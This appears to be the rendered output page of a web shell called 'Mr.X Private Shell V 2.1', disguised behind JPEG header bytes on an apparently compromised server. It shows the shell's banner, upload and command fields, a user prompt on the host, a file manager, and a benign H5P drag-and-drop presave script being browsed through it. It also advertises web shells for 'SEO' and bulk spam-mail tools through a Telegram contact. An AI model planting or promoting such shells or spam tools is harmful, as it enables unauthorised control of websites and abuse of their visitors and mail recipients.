����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.249: ~ $
var H5PEditor = H5PEditor || {};
var H5PPresave = H5PPresave || {};

/**
 * Resolve the presave logic for the content type Drag Question
 *
 * @param {object} content
 * @param finished
 * @constructor
 */
H5PPresave['H5P.DragQuestion'] = function (content, finished) {
  var presave = H5PEditor.Presave;
  var score = 0;
  var correctDropZones = [];

  if (isContentInvalid()) {
    throw new presave.exceptions.InvalidContentSemanticsException('Invalid Drag and Drop Error');
  }

  if (hasDropZones()) {
    correctDropZones = content.question.task.dropZones
      .map(function (dropzone) {
        return dropzone.correctElements;
      })
      .filter(function (correctElements) {
        return correctElements.length;
      })
      .reduce(function (previous, current, dropZone) {
        current.forEach(function (element) {
          if (!Array.isArray(previous[element])) {
            previous[element] = [];
          }
          previous[element].push(dropZone);
        });
        return previous;
      }, []);
  }


  if (correctDropZones.length === 0 || isSinglePoint()) {
    score = 1;
  }
  else if (hasElements()) {
    score = content.question.task.elements
      .filter(function (element, index) {
        return Array.isArray(correctDropZones[index]) && correctDropZones.length > 0;
      })
      .map(function (element) {
        if (element.multiple === true) {
          return correctDropZones.length;
        }
        return 1;
      })
      .reduce(function (previous, current) {
        return previous + current;
      }, 0);
  }

  presave.validateScore(score);

  finished({maxScore: score});

  /**
   * Check if required parameters is present
   * @return {boolean}
   */
  function isContentInvalid() {
    return !presave.checkNestedRequirements(content, 'content.question.task');
  }

  /**
   * Check if tasks has drop zones
   * @return {boolean}
   */
  function hasDropZones() {
    return presave.checkNestedRequirements(content, 'content.question.task.dropZones') && Array.isArray(content.question.task.dropZones);
  }

  /**
   * Check if tasks has elements
   * @return {boolean}
   */
  function hasElements() {
    return presave.checkNestedRequirements(content, 'content.question.task.elements') && Array.isArray(content.question.task.elements);
  }

  /**
   * Check if task should give 1 point as score
   * @return {boolean}
   */
  function isSinglePoint() {
    return presave.checkNestedRequirements(content, 'content.behaviour.singlePoint') && content.behaviour.singlePoint === true;
  }
};

Filemanager

Name Type Size Permission Actions
5b9c1009efd9ccb06ee01b4d92af866c42a7c53e File 2.5 KB 0666